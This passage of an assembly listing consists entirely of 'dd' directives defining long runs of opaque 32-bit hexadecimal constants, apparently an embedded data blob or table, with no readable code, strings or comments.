0C596061Eh dd 4CC5C303h, 2DA2810Fh, 50311066h, 3B6808D8h, 0FE10D667h dd 45268532h, 0C4611456h, 0C5FD7F78h, 8D85C711h, 7461AF3Eh dd 0AC00DCA8h, 317D19F2h, 58F0BF58h, 69416C96h, 0BC2AC735h dd 6BAE4ABEh, 58030F44h, 0B9DFC157h, 5BEC2E40h, 0B34E70E9h dd 0AFA8D8F1h, 8F0F3917h, 0E4AF5E24h, 570050BDh, 0AB9B7353h dd 7AA5EF35h, 0C30265Fh, 0C9441C6Ah, 2A0FC101h, 0C1020E59h dd 0A85DFB4Ch, 0EBE70D93h, 4DE3636h, 16EE3964h, 29501B33h dd 18214028h, 113CD58h, 0C01B0957h, 0B19CC08Bh, 0AC0309DCh dd 0D9F5F439h, 0EF810042h, 169ADBFh, 70AE53BFh, 0C5014B2Eh dd 0FB92A377h, 432853CDh, 0EB187E80h, 0B9E26939h, 9B283803h dd 0E8A68CCEh, 0F5BCB610h, 30FC891h, 0C5D667FCh, 0C448F014h dd 31CC0F96h, 0FFA2B219h, 3DC15F5Bh, 84A972DEh, 0F634A885h dd 51EAA113h, 7ECC6722h, 85170147h, 0FDDD23D9h, 5F5C8730h dd 2A4B09CAh, 5474657h, 62356433h, 0DF92809Fh, 6E00EBA7h dd 4B532F79h, 982D9EE8h, 4C8C45CDh, 0B31E464Ch, 1942FC95h dd 0DF37DA6Bh, 77717AC4h, 0DBF6E579h, 516A3800h, 0FB4F9DE3h dd 0C75F26E8h, 0B0B234BEh, 0C4111E3h, 4582E430h, 49233803h dd 0DE91199h, 0C69E7300h, 0D31BF1A4h, 20814402h, 0FB58EBA9h dd 7CFCAD33h, 745D65D4h, 319504F8h, 0F22DF50Bh, 1A50CAFFh dd 8C5B5584h, 169DD058h, 2F152AEh, 0AA4E1E06h, 21D538C0h dd 0BC2B4082h, 77D20136h, 8689FC8Ah, 0F438FC4h, 2D8CF3BFh dd 0E1B52A09h, 0C28300F9h, 797FBB04h, 89142F5Eh, 0C0F42050h dd 63486B77h, 1FA40014h, 0BAD566AAh, 0BF1C4E6Dh, 0B2530DD6h dd 0BE06FE05h, 19B286E3h, 5CACE830h, 0B2C846Ch, 168509C2h dd 0CD6B7D59h, 49A04F8Ah, 0A4CCBB3Ah, 0D0CB8103h, 4C0ADD3Bh dd 49763D4Eh, 0CC960111h, 23925031h, 0D670CBBBh, 959D1223h dd 6DAD290Ch, 580BB885h, 0A912D751h, 1617B71Ch, 12C830Fh dd 79EB00D8h, 98D3AF82h, 5F4ACC58h, 342205CAh, 96D98B16h dd 556D849h, 0D0875FA2h, 98AF5899h, 0F09656D0h, 0E2C610F3h dd 854A912Bh, 0E5181B71h, 274D9101h, 0EBD57178h, 8041302Bh dd 32AC67DFh, 50FB73BDh, 5F0489C8h, 0EE061E51h, 0B2B54A85h dd 0A120352Ah, 4282ACEh, 7F5BBD87h, 17D0BED8h, 4578580h dd 91FBD85h, 0A32A595Fh, 0F8D778C4h, 0C8AE7309h, 4D5182FFh dd 2960020Dh, 89155E61h, 19028CD7h, 132B610Bh, 80E0DB60h dd 346D98EEh, 809695CDh, 71DFFBB7h, 56E27E4Bh, 3EE50C00h dd 0EE0B307Dh, 672A0F16h, 1B485C8h, 2C1184EAh, 89D6E574h dd 276D855Ah, 58A9E917h, 78EAB3B9h, 2909230Ah, 5A3485B5h dd 0D4DE95B5h, 0BCAE01D6h, 920DEDF0h, 91A2CBB5h, 2B6AD456h dd 0E9310313h, 0E37A90FEh, 19210F29h, 741EA082h, 0F0125Fh dd 4599BBE3h, 50614A23h, 491E5378h, 5B52CBC9h, 0D5F0C8A6h dd 3CD6F5F9h, 0BD5B2AC7h, 5F181C4Bh, 0F9F38666h, 373DECD1h dd 5606AF9Dh, 4504DC9Dh, 0C5A4CA70h, 290193C2h, 0DFBE1058h dd 0F36D09DCh, 95024543h, 0B091AA9h, 154487h, 61AA80EFh dd 0C1C05B59h, 3497AC0Eh, 4692BE8Fh, 6BB399E4h, 0B66D8280h dd 0DA116AC0h, 40B21FF5h, 0CD31D3ACh, 2967415Bh, 0C3810009h dd 6B6778B3h, 92026C26h, 645C1725h, 0D4B7F7EBh, 70B97101h dd 58B9259Eh, 84CE1A25h, 0EA816000h, 4B109140h, 0FF6116F9h dd 82BD9BD1h, 79CDFA8Dh, 867C00C0h, 5C765952h, 446A5D00h dd 3F8EF4FEh, 0FABC12D8h, 8D90E246h, 0F92A3D60h, 96AACFCh dd 9D89847Dh, 2CA58EBh, 0BCC75940h, 0C450B125h, 5EA10092h dd 0D2C0368Dh, 583C79F1h, 1FD51CF7h, 6C76A981h, 72417FBh dd 2C32BBF9h, 50F53D42h, 0F5E9E560h, 0C1383E3Dh, 56F66140h dd 728B0E4Bh, 919D4110h, 503ACB2h, 8D09C0C7h, 3085FE99h dd 80F89BFBh, 4617C52Bh, 9D754BECh, 0C0345A6Ah, 2A857FC2h dd 52DBE25h, 53D88B50h, 2416F9Eh, 547E02C4h, 0E7DF81C8h dd 652ED3ECh, 0DDF10458h, 0B7FDFA16h, 9ABB66C1h, 37352E2Ch dd 81979BFFh, 0F5BE6C8Bh, 5A37DCC8h, 0BCFB204Bh, 8800280Fh dd 6358150Eh, 9FC4D24h, 16558560h, 0B7274AFEh, 0F2A118C8h dd 980829D3h, 921A8F0Fh, 15B9D0E8h, 7007759h, 3C8EB3B1h dd 12EB05E1h, 4131E94h, 0B15C1F4h, 4DAA825Fh, 603FEF0Ch dd 7EAC528Bh, 7755DE58h, 0DB1268B3h, 101889E6h, 0F8B71D01h dd 311AB070h, 56E28185h, 9D23048Ch, 0E6F3D699h, 921FEB00h dd 0B58971E4h, 256AB6CDh, 4CE88369h, 1041EDF5h, 0D3851F2Bh dd 81F8E280h, 0CA04EF2Eh, 652E3FF9h, 788B096h, 6D2033B0h dd 9D8C951Dh, 13D2055Ch, 9554C0BFh, 0C8891701h, 40089B90h dd 2A40DDAFh, 21D15A8Bh, 0C0F428EFh, 0B200CBF6h, 0FF7040C6h dd 127D1D30h, 249F8EDh, 5BC70F4Ah, 698E58ACh, 850943B9h dd 1E5AD9B9h, 8295A055h dd 46F6B3ADh, 86A83C3Eh, 0EDD0010Eh, 9D762820h, 230D46A4h dd 34E168DDh, 5FCCF5C2h, 0D4D03B2Fh, 0B9E66C04h, 60E92140h dd 96BF1733h, 4E064552h, 3B1BD89h, 58D1191h, 0CED24A2Ah dd 0A5FC2719h, 0FE100FA5h, 3B3D95E6h, 4A6B66D0h, 9050BAD8h dd 0FD5CB8F9h, 4F080115h, 203C3172h, 0BD180157h, 9D4B1C39h dd 2592BEB9h, 2F93C966h, 125B9E78h, 2D7694Fh, 0EAB9FB56h dd 0D525525Eh, 2389C3B5h, 0D3D570CAh, 0D96B8CD0h, 2BE1B8F4h dd 0A500AC7Bh, 37E36325h, 0B304D3F8h, 0D22BFAF0h, 2E151481h dd 0F199AC04h, 322880Fh, 0DE3AF52Ch, 5E2491F8h, 1930030Fh dd 247DAFBBh, 89E32825h, 0A87149B3h, 0F1950904h, 752B81B1h dd 26DAFA8Fh, 95281280h, 3F005363h, 0F3BB3437h, 97697611h dd 0B0E2921Ah, 4E5C8156h, 65489788h, 848F3487h, 2E19B14Fh dd 33B846E9h, 0CA724C01h, 0BC69122Eh, 1203EF70h, 0E243CB59h dd 0A83B88B7h, 8A22F8B6h, 32D5EC1h, 0DCFA85B8h, 0D30075DBh dd 0B526433Eh, 94C86CEh, 0CC0F2077h, 560A627Dh, 58026996h dd 0FF0123CDh, 0EB2009E1h, 5D1C9716h, 0DA4E1E43h, 0BABE80BFh dd 4BB765B8h, 22608ACCh, 41ADB40Bh, 0F0EE8F3Bh, 353B381Ch dd 0A5CB81DEh, 539721BBh, 14B1BA88h, 58E25F12h, 5A6AD88h dd 804E0511h, 60AF3C00h, 2BA3795h, 19CF808Dh, 15C93760h dd 2F4F5682h, 13DC6FF6h, 9107FE7h, 6A70FE04h, 0C24CA695h dd 0CD1AD729h, 2EFAE143h, 0F7800830h, 5D6C90C9h, 6E4EA8DAh dd 2132008Eh, 780E3568h, 3B44D43Eh, 0B31B2D12h, 81B784E5h dd 4A7E24B8h, 0CAEC856h, 0F3B188h, 0E2099767h, 28A5663Ah dd 8B227E17h, 46D7B417h, 671D9E04h, 6E09B670h, 925B585Ah dd 62CFA38h, 77F311BBh, 2AE3207Ch, 84FB2137h, 77AD2262h dd 0F11AE9C4h, 0B83E2D79h, 62313B27h, 76646A25h, 80E1B797h dd 7B68B72Ch, 9F09BB7Dh, 596EC035h, 0C9519295h, 2FB92A3Ch dd 0D078A080h, 3F016C3Ah, 0B997D716h, 342B5F2Eh, 0F6AA92h dd 83AF72B0h, 0D6C2B912h, 8FA33412h, 0F0C72948h, 0F42E90FDh dd 0D4E424FEh, 0D3C39A03h, 0F1EE29ACh, 82798932h, 0A4008BBCh dd 6F419464h, 12CB95C0h, 0F7E1B30Bh, 0AC8A4DA0h, 141990B5h dd 0E68EF0C7h, 8C9DE16h, 60964988h, 163788h, 0E144331Dh dd 0DD645BFDh, 0ADAF41EFh, 0EF2CA62Fh, 0FA5850Ch, 0EA819561h dd 2F526050h, 59CD5D20h, 1AA300FFh, 0FD3F469h, 5B1F4539h dd 5F65582Ch, 97548412h, 5282046Dh, 0A8B32434h, 4D6BE956h dd 0DEA3C035h, 604A2A6Dh, 959630FEh, 0BF8005C1h, 182E08Ah dd 6B686128h, 30EEBE25h, 814CDE43h, 82943A22h, 8DF81160h dd 0F9BBD985h, 9371819h, 889955D6h, 0D866548Ch, 0E4BE5F75h dd 0AD327E40h, 909C726Fh, 260304E6h, 0D47836F5h, 0B87ABD69h dd 0C70100F7h, 5227477Eh, 1D4D9D03h, 255E5CD9h, 0B846CE05h dd 611640ACh, 3585010Dh, 3D2B0E2Ch, 186A3B4Ah, 0FA8F0700h dd 58763D57h, 0FB658A07h, 31F4BD23h, 38EAF625h, 0B5F95F48h dd 0EC07E1E8h, 110B099Eh, 3BE99431h, 628B6FC2h, 0E8E11A15h dd 3C6B2E28h, 0B3301DE2h, 0F65F01F8h, 1F813DD8h, 81042FE1h dd 0A21329B9h, 0E31F7546h, 5400C2AAh, 5BC791Dh, 0D551BF58h dd 0B4B80307h, 134DC5C0h, 0F9AA00C8h, 740C2E5Ch, 0CB0BC005h dd 961E3E94h, 0E5851262h, 77357B04h, 6A1C9BF6h, 0A684B552h dd 2F8BF054h, 0E704B313h, 0A3E0A7ECh, 96C22E1h, 8844EC07h dd 0F589BC53h, 40B0EF2Ah, 40E53698h, 9F4D9904h, 0BCADFCEAh dd 40FC2AD0h, 0FCB37F00h, 3848BAEEh, 0D6A4E8h, 9E6ACF88h dd 8D46E6BFh, 0D8532E00h, 81CA6770h, 1D37016Eh, 0F88BAD2Ah dd 5D352E5Bh, 96E07AF6h, 59052AC1h, 58CAAC9Eh, 921F1CACh dd 0D764E584h, 0AC364100h, 33784922h, 62E70FB1h, 50402C69h dd 6898037Fh, 0E9AD20B2h, 0B74ED5E0h, 0A5715CCAh, 22C8952Fh dd 114A4D9Dh, 188874DDh, 64A50EA1h, 0E6DBBF8Eh, 7315C870h dd 57B306F2h, 1F09E8FCh, 326BF100h, 0E7D04F8h, 86724A30h dd 0B512CCCBh, 0C2E22071h, 32ACF4D5h, 0B5DCF0E1h, 0D221BC0Fh dd 0C0C97328h, 342BA159h, 658204CDh, 0CBB1120Ch, 0E8CEB92Eh dd 1E9FE85h, 46320148h, 383FFE11h, 5BBC08Bh, 9758928Fh dd 0FE58EC09h, 7DEA8995h, 0A46046EDh, 0A633BAEh, 0EC5E1E99h dd 4BD08FCh, 60F7C02Dh, 7BDF0681h, 0F013FDCBh, 4B155120h dd 2D0DDD61h, 15CA883h, 5ECB640h, 2A9B5208h, 440086B9h dd 5CC4DE68h, 18005A0Bh, 8B8EC807h, 2C2A894Dh, 8D26DD1h dd 5F171951h, 352E6EE1h, 0E763A629h, 0C17A5EC0h, 425960A6h dd 170C82BBh, 2E914C95h, 4AB68D0Fh, 0F03660D0h, 7C001E87h dd 5C865EF8h, 2BA75CDh, 2F4D290Dh, 0FF93BA7h, 2B4FADAAh dd 0B672A589h, 6FC4BF00h, 0BDAF8C0Dh, 78001078h, 43272ED9h dd 96C93E99h, 0CF083E97h, 0FE2A2029h, 5655F552h, 0CA6FF045h dd 79E50119h, 0E01A88B4h, 80C83882h, 0B0ABF85Fh, 75E00DBh dd 1F0C877Eh, 144AE582h, 0B8B42AB4h, 70AC1EEh, 2F3F8673h dd 28B6961h, 2ADEB311h, 25B57A61h, 6D9C55C2h, 3811644h dd 0EE652CF7h, 1A70500Ah, 183238Ah, 0B45295B5h, 14B218E6h dd 520FF830h, 5353928Fh, 2BCAB100h, 6258DE94h, 491DA401h dd 0B0A188E1h, 9510E6F8h, 1897514Ch, 54858966h, 4F0FFF69h dd 0DB4E3082h, 0B9D39E7Eh, 0FC03717Eh, 4CC5BEBCh, 8EBC4ACh dd 56960794h, 34EF3342h, 25AC765Fh, 0B0A17FC6h, 4B922C2Dh dd 6338828Ah, 81979E5Bh, 848F31CAh, 10339CF4h, 8415059Dh dd 9C1B2D01h, 0C2751BB1h, 5525515Eh, 0FF9ED4B5h, 5903FDDCh dd 88609934h, 7A9C5BAh, 8B610D9Ch, 5E7939CAh, 70675DE9h dd 78F88CE4h, 2D9B792h, 0A8978032h, 842EC3B2h, 9B5A4EBCh dd 4C37848Eh, 5EF5D7C2h, 0CD7F494Eh, 0B84A60E1h, 98062215h dd 0FE9DEB1h, 30B0001Fh, 0BE875064h, 4007F87Eh, 13B5BDB2h dd 5FBC41C4h, 293AD9D4h, 0BB0450C0h, 7C030892h, 3BFDAB0h dd 42FDD3DBh, 0BBD48529h, 6F2AAFE1h, 0FAEF04DDh, 2FBCF5B7h dd 48BC0F1Bh, 0AD5E9013h, 0CB9DDBAAh, 8801009Eh, 48F2EB1h dd 1E2042BBh, 0EC32BD16h, 0A71D1F62h, 0FBC7C0B9h, 501F3774h dd 8EFE8B2Ah, 1ADCB3B6h, 3CE7857Ah, 0E38D8955h, 5EADC579h dd 0C809C2BCh, 79D2DF80h, 784CAB24h, 81919E98h, 9DB12980h dd 6D69C5h, 7746807Bh, 271B65EAh, 0F2E9897h, 35086C81h dd 0C08A020Ch, 95D1FF41h, 4FD60556h, 0B1D4C582h, 21282E6Bh dd 47618A66h, 0F1707E1Eh, 0E62DA5h, 0FF430D84h, 18AF816Dh dd 9F714201h, 0CF3F5BEEh, 1ECD5230h, 6561C8CAh, 4C901FE0h dd 89026A09h, 0D56C938Dh, 0F650A7D2h, 0C6A207ADh, 0CF80B15Bh dd 0C2DD2EBBh, 38726A6Eh, 0C2BC02FAh, 578AE9FBh, 6820991Ch dd 9595B2ADh, 47C20C6Dh, 4DF74084h, 85C822Ch, 7CBFE46Ch dd 0B8507658h, 95DD706Eh, 1A321FC5h, 0DA891125h, 1B44B96Dh dd 210F2B60h, 3694A304h, 0E3EABFB9h, 2415836h, 9589F171h dd 0A79DF631h, 0A6559061h, 7109B411h, 0AE4DD510h, 80EE52E0h dd 4C0E5CEBh, 1317CE0Bh, 0DABF9402h, 4C47D5Ch, 7C708B49h dd 59F721A0h, 0E61F6209h, 1AE65F70h, 1023D948h, 0E40318E9h dd 0E7C38171h, 2E4C1C89h, 0B0DA7F48h, 0E194A87Ch, 0FD290825h dd 855873A9h, 0F62DDC81h, 8EE5F15Fh, 0C149DE8Bh, 0D413FC99h dd 55005E79h, 9A30E6D1h dd 123276B7h, 0E1AC7415h, 40862E86h, 8688954Dh, 0DACDAF20h dd 0C82B2480h, 0DBD381h, 8B2DAE84h, 0A5B509D1h, 0BA280441h dd 0C9BD2382h, 0CC0D84Ah, 318019F5h, 10C5258Dh, 0B4817AC4h dd 0C30CADDEh, 31EA108Ch, 5B5F1221h, 841169E4h, 45A99D3Fh dd 0D95829FEh, 78FD2EF7h, 0E2DF929Dh, 0C242266h, 251DBD89h dd 17A0A587h, 951229FEh, 6BE5267Dh, 41495C05h, 41717104h dd 39180EC5h, 4C0ABC9Dh, 46003352h, 0BB66A993h, 4CC21B2Dh dd 5C8FF380h, 376A82h, 4FDCC13Ch, 74E9DB9h, 0DE178393h dd 0FAFC4BE6h, 137E1C6Bh, 0F6FCD4BFh, 4C0DE090h, 4F030184h dd 271EF01h, 7292329h, 7882F820h, 0E81C2AB3h, 23A8BEh dd 0B8C2131Fh, 8E0FC02Bh, 79382B95h, 891AC11h, 2B09223Dh dd 71D2F3D2h, 3EDAC068h, 2C258400h, 9D033F28h, 9B0B4BBDh dd 2C9B4AA8h, 6F543389h, 0FC4C442Ah, 8C1BE848h, 93C8D200h dd 69C26AEBh, 2D04B74Ch, 0BFB2120Ch, 809ADB5Bh, 0E92B351Fh dd 0C8991315h, 0DE51CD60h, 19C2B960h, 0D9186862h, 0B861041Fh dd 1BB6D2C1h, 665177E0h, 0BD2B420Eh, 564A7A39h, 0B79D56E3h dd 0F1720F7Bh, 2F83F22Fh, 1A5A890Fh, 0CD008F7Ah, 96123D9Bh dd 4D259092h, 11F2C530h, 4B805852h, 0F5C30630h, 0B9B87057h dd 11724351h, 54E1DD90h, 40F79500h, 37539BFBh, 0F123EA68h dd 40F1EAh, 80185DEAh, 6C01D27Dh, 1971F497h, 69F05572h dd 121EEC15h, 0F35F22DEh, 0D6F44B0Ch, 254C90E1h, 9E70F6Dh dd 5F543A11h, 0FE1EA10Ah, 3FF1282Eh, 351116A8h, 849529ACh dd 6047F6DCh, 0D69E209h, 56C9B25Ch, 0F609D46Eh, 274A1A4h dd 0B2F3587h, 0A6003544h, 0DE1B36D6h, 40A815h, 70CB8182h dd 5F1FFCEEh, 8CCB0D97h, 204E5632h, 99649704h, 7E0184E2h dd 4B26A166h, 9AEC423Dh, 34A92CB3h, 194D082Fh, 0EEE45B12h dd 0D90141ADh, 14FB6282h, 739DF98Ah, 0D47EBA95h, 0E912D4C3h dd 0ACF88B6Bh, 0D620AD92h, 7EA17CF6h, 0B2F0F460h, 1F495918h dd 9761CAAAh, 82620182h, 0B2826D58h, 3098B8C4h, 6A4E3972h dd 0AF00E26Fh, 61BC75B7h, 6002ADBBh, 313D2FBAh, 42B7C215h dd 6221FE07h, 0FB751BADh, 0D091FA0h, 2E291C5Dh, 0E33C6329h dd 29BA8980h, 6D016A3Ch, 7456B53Eh, 0A93A2C97h, 502A130Eh dd 3718D0AFh, 1925812Fh, 0B37EE822h, 5D20ED63h, 0C15804BEh dd 886113D2h, 7596E84Eh, 643B2980h, 47C47BDh, 850F7273h dd 0B1E6EB15h, 0E774660Fh, 836AADC4h, 25E8235Eh, 0E3051460h dd 585FCE36h, 0E3B8C6A9h, 0C0F5E000h, 26C781DBh, 2BC1256Ch dd 0EF9C8466h, 0B40902DCh, 78708398h, 2C393F40h, 0E441CD95h dd 0F1F76016h, 20E0B8E4h, 9122211h, 0B3C0CDB5h, 99015BE9h dd 0DE3049Ch, 0CED9BC68h, 5BFBE452h, 0F9CFB8BCh, 0A794B545h dd 0CF83B0B3h, 0A6E103BFh, 669860F9h, 0AAB36812h, 8007A4F3h dd 59894BDBh, 1B596A7Bh, 72024B18h, 21AE6ABFh, 1E18750Ch dd 9877AC34h, 0E41B1679h, 0FA50777Fh, 0C2FE52BDh, 1ACD85CEh dd 446CAA2h, 1FB54F60h, 0CC2B9681h, 4E01C2CEh, 0CF9A58A6h dd 0F520C68Ah, 965B2F52h, 0AD034F44h, 1B16548h, 1A4188F9h dd 5F98977Fh, 8200D781h, 6808D27Ch, 5E0AEEA5h, 5244CC24h dd 3FE05F4Ah, 15ED3F5Ah, 13656ECFh, 4404C871h, 58BCE93Dh dd 499D0BC2h, 4FF480A9h, 0DC1B9C60h, 7C400062h, 7DF1AEBAh dd 0B0BE099h, 7AF59ABEh, 2CD9DF2h, 0FC2760CEh, 13C5482h dd 974C7E7h, 2F31A59Dh, 0BF0F3870h, 0D76158FAh, 55BE4CC0h dd 39002031h, 2E337FC0h, 1969A59h, 0FD15C4Ah, 2F97BAF7h dd 0CA61482Dh, 402476FEh, 0C6F1D5Ah, 0E003C700h, 0D75094D5h dd 0B4FC0161h, 7D067F2Dh, 0A5CE208h, 621FFC52h, 0FADB48E9h dd 0B76C8D8h, 1CAC387Dh, 0D9A4E651h, 25352908h, 9D5C25C7h dd 3B09EBE1h, 5931AADh, 8825BD32h, 0FF7F9B7Ah, 0E88AFA4Bh dd 0C2A66021h, 0D59252D6h, 805337CCh, 0BF42D324h, 0FEB524h dd 31C6106Eh, 140C61B5h, 0CAE23297h, 69BB5450h, 0E19C482h dd 59885B09h, 18C1819h, 1722D79h, 3096F834h, 0FE1D8B3Ah dd 0BF5E310Fh, 0E3D5104Eh, 0FE585A5Fh, 0B1DA7B90h, 3D97809Bh dd 8A7CB036h, 0BAA49100h, 899F4206h, 511825B4h, 18640A4Dh dd 9DF53067h, 0CE95B3A1h, 8255770Dh, 8F40C4DCh, 9058CCh dd 0C2C694F3h, 0CE6B4D2Dh, 3DF55C2Eh, 85A7A36Eh, 20A0DF42h dd 7C0C341h, 79D0CD99h, 0D198C1A9h, 30BB595Bh, 9025CF74h dd 118733Dh, 762C3AD7h, 4B342E7Ch, 0FA59CC1h, 2DB72D6Bh dd 11A88Bh, 60CA64B2h, 7FDD7883h, 29BD0109h, 7966D70Eh dd 5ED9C800h, 0A6A076B5h, 8CE3068Ah, 900396A5h, 5B4BA4A4h dd 6EEA6A84h, 2F0C00DCh, 687C2E4Ch, 45E12C6h, 3B8CE10Bh dd 75049D6Eh, 0AE92A6B8h, 68C8FD16h, 0D740094h, 0B98AB433h dd 0FD04E05Bh, 14A69284h, 0D2DF87B8h, 6946E1F9h, 13BEC6Dh dd 78AAB1ACh, 2070EF9Ah, 29BF212Eh, 5ACD5F57h, 0EA1C7DC0h dd 1460F79Ch, 0B86604FEh, 0B961B7E4h, 8C14AC1Ch, 24EA124Eh dd 20D1B84Eh, 7CB09513h, 0B40FDBDh, 2C40BBBh, 3C8A3C3Ah dd 0B9B209F4h, 0FACF8EF9h, 2EDA5714h, 0CA93B900h, 36C690C5h dd 318F420Fh, 0DF8B3A5Fh, 0E66C852Bh, 45C0E4DFh, 4A093684h dd 6AA6B585h, 1AC80F9Ah, 0E22EE0CEh, 5A8B64F9h, 5F0BB7B3h dd 0DA005C6Ah, 8BC547FCh, 8012FF72h, 9CE2D4F7h, 0F62F9493h dd 0A0C5E328h, 0C2918EAEh, 0BD891430h, 0C272B662h, 3CC5DA4Eh dd 0CA8067DBh, 8A9C1CCFh, 22B8B113h, 0FA2533B6h, 290A9BC6h dd 0C6103985h, 0EAE78150h, 72602DBEh, 5300E844h, 95878DE9h dd 26FB1438h, 29A2F3Fh, 5BBB39DFh, 717B1D5h, 8B292310h dd 58CFC600h, 44BF66FDh, 8A5F4B46h, 77722783h, 1000DFBDh dd 3067C673h, 1BEA0115h, 0DF80DC52h, 3E643803h, 0F92041BDh dd 8B049719h, 146BAF61h, 38001A23h, 5BD92F9Fh, 0BBFF0740h dd 6EFE198Bh, 0A1C99D85h, 0B90F2BD2h, 70F52929h, 9296958Ch dd 0C256E925h, 87B1B763h, 497D23A6h, 0B692802h, 91B31F57h dd 0CDD48017h, 0D653115Dh, 5BB6D0CAh, 0E81368BFh, 0D9EA54F2h dd 0EDB82E60h, 901227FCh, 2201A1C8h, 2AFB9965h, 0B51822Fh dd 5852EB2Eh, 4B42906Eh, 0AC24BB60h, 13F5E3EFh, 2B49559Dh dd 0D7CDD56Ah, 7FAD82E0h, 53A31886h, 13F5596Ah, 0CAF00B83h dd 0DA5B18BCh, 13641E78h, 955F176h, 18985FEh, 5849BD56h dd 9DD0EC2h, 5049B390h, 3D701DC4h, 0B78D990Fh, 0F605F6C3h dd 77012E81h, 2B5FBB66h, 464D0CA5h, 0EEC6AC2h, 825C2DE9h dd 0D53D42EBh, 0D175E33Ah, 828CF867h, 651456F8h, 48ADDFFFh dd 0DBFA983Eh, 4E087D28h, 906EAFD1h, 0F8133D00h, 18C5823Fh dd 0E9625862h, 71585C01h, 0E037377Ah, 4C4173h, 1B06C538h dd 8B67B48Eh, 26AF917h, 0BC00506Fh, 5FE6362Bh, 0BB2875D4h dd 0F317EB90h, 5388508Bh, 0DB4F03FDh, 60AA89Fh, 0F0B9F1D8h dd 0BBCCC000h, 5C94B12Eh, 1904975Fh, 0A2AD5221h, 9BE9A698h dd 893C795h, 0FC1DBCD4h, 44ABF7C1h, 0DB304EA3h, 9D2BEB41h dd 0AB9A2E59h, 8A4EBEC0h, 5725321Bh, 0DFF4C3F9h, 4A50F452h dd 8461B7ECh, 0A8534D8Dh, 60C58074h, 2858F4h, 5467DABBh dd 4E331F03h, 6A40A52Eh, 73A28212h, 66278021h, 0DF8C432h dd 87BAB9CDh, 25A49D03h, 0CD9782Dh, 0A0304F3h, 4B7D70CFh dd 41A38D61h, 2909A1FCh dd 0A87880ECh, 1DEE6B2Dh, 0C27FEFAFh, 1CDE30EAh, 0F6C14E92h dd 6A5F10E5h, 2CF698FFh, 42E11C25h, 48F30D49h, 342F16D1h dd 88B6ADF2h, 0FE0B993Eh, 87B00308h, 20590BBFh, 6070E6FBh dd 15B51A03h, 0F7E83922h, 0D90084F2h, 0E723F0D2h, 1EC6EB4h dd 0FBA50BDDh, 3C71E461h, 0D47080D8h, 53EC24h, 0C207E36h dd 17E6FEA6h, 265A711Eh, 0E9799084h, 0F022DAB9h, 307E90B7h dd 0D6720Ch, 0D0E3AEBCh, 80FE38BFh, 0E0132EEDh, 212BD1B1h dd 44F560DDh, 0EC2012FDh, 7685808Bh, 17B947F0h, 4B1417Eh dd 0BF31C11Ah, 172B0BB5h, 0F73580E3h, 0B00BFE2h, 2B08FB09h dd 259D33C8h, 5E723111h, 51E1B181h, 3C93E998h, 2EA186DCh dd 8852927h, 0FA0B8F9h, 518D8909h, 11D67331h, 0D12C50FBh dd 0E32E5Ah, 6C538972h, 6CE939D6h, 0CFF83A13h, 8DC6FE06h dd 0EEF603FFh, 443CCC13h, 0DD023A30h, 516900B1h, 0D2AA53E0h dd 9500BFA3h, 177D8FA0h, 3229ED6Eh, 5FA965BDh, 2344F15Ch dd 71F68A49h, 0A594DE1Fh, 0F8FE3237h, 0BB33FE1Dh, 12317C50h dd 0E2167DB5h, 3C3484F0h, 0E90A1616h, 0FF6DE9A3h, 0BCEB81C0h dd 2E4B8AD5h, 0C001F28Dh, 0B900210Dh, 6F9F0FB5h, 0F01E42C1h dd 0CD2F0B5Eh, 6454C377h, 1D0C0E0h, 3F39B524h, 0B70FFC81h dd 0B7F62BDFh, 0A8D28086h, 1D149AA7h, 0BA54B914h, 0BF5180B8h dd 25A27620h, 0CECD5B48h, 4172CDA5h, 2B7D98DEh, 0FCB01924h dd 0A2A90499h, 0AAE15873h, 5FCA8304h, 9DE0AAF6h, 0C902E7DEh dd 0B8C8C1C4h, 90255003h, 889E4B03h, 4A4FB7DDh, 0D380E131h dd 0E9B25CDEh, 565299DBh, 1C905CA9h, 42B7BDh, 9C56ED9Bh dd 0A5256AC4h, 1183C524h, 7892E72h, 0F7DF1518h, 811297E9h dd 2ED80E41h, 503A5465h, 71041C23h, 34EE27F5h, 0A90BBA60h dd 0E181053Ah, 2E886EAAh, 2C12DDBAh, 0FA0212B2h, 9B593D2h dd 0AD173E0h, 5BA31C97h, 67E31170h, 310066ACh, 0ED030293h dd 4B9639EEh, 17BF8AFCh, 0E39E0459h, 102BD680h, 4E4CF65Dh dd 1C6112E0h, 0EF88E0E3h, 2AC126B1h, 95D18C04h, 0C9045679h dd 3D104B1Bh, 0F9B0BBACh, 0CBB605Fh, 162FCB79h, 807FDB15h dd 3BA1C6Dh, 255920BDh, 0E2CEB725h, 0B1375501h, 0AC1E3700h dd 97FF8A4Ah, 2348FF24h, 0F7B9DCB7h, 48C18ACh, 72FCF771h dd 0FC1CFF1Ah, 0A5FAC525h, 0A6007AB5h, 0FDE1CB1h, 62DBBE87h dd 9005056Dh, 0A238D6A5h, 0FBF5BD80h, 3316137Eh, 0E75666E2h dd 2390D7C0h, 975279Dh, 0CF007E3Fh, 809EE5ACh, 8A404B43h dd 0BCBB02EAh, 756656C6h, 4758330Eh, 3FF15F52h, 0CBB27E12h dd 1C116D40h, 92B00397h, 2E130DBh, 8109DD52h, 37585FBFh dd 91B894Ah, 0AB017884h, 4B8D382Ch, 0F939C1Dh, 0A4CC2FEDh dd 0D3E912DFh, 0A21EA701h, 7FA426Bh, 0B8708E6Bh, 16665864h dd 0ECA7E9BBh, 9AC94A54h, 0F2B86D29h, 8501AC1Eh, 6B90ED6h dd 4AA5E8D2h, 0F14EBFCBh, 0BAD5D253h, 810FB7D0h, 1BF72625h dd 89BFD4E9h, 83CA0295h, 4AB54C67h, 0F446D951h, 1822675h dd 2B65BD84h, 0F994242Eh, 15B8D1h, 9034EA84h, 8B60379Fh dd 9661CF17h, 99A11702h, 7851F350h, 4F278707h, 0AF4782E5h dd 1BB5578Bh, 0B2801A91h, 9A08DD03h, 6805A290h, 6A5B0E5Ah dd 0C04A61B8h, 440DA5D3h, 359856F4h, 5BDAD554h, 75BA1297h dd 0AC70A8F3h, 8F400CCBh, 0E15C721Dh, 9D501440h, 0FB383187h dd 24045202h, 85809AB7h, 89A3EBEAh, 0BFA54E8Dh, 14698E27h dd 707BBBCCh, 33049C73h, 61F529B5h, 6592381h, 2185B217h dd 0B5259E57h, 9C0F1805h, 52009A96h, 0A8921E05h, 72F267h dd 0B7869B60h, 0BB19D812h, 0F753A527h, 5B5FBF10h, 6E121497h dd 8FC91F26h, 47740B92h, 77BC0340h, 0F7891610h, 8D1AA084h dd 125B2B40h, 0C821E9F5h, 2EFB69F1h, 0ADA5D93Bh, 4833B8EBh 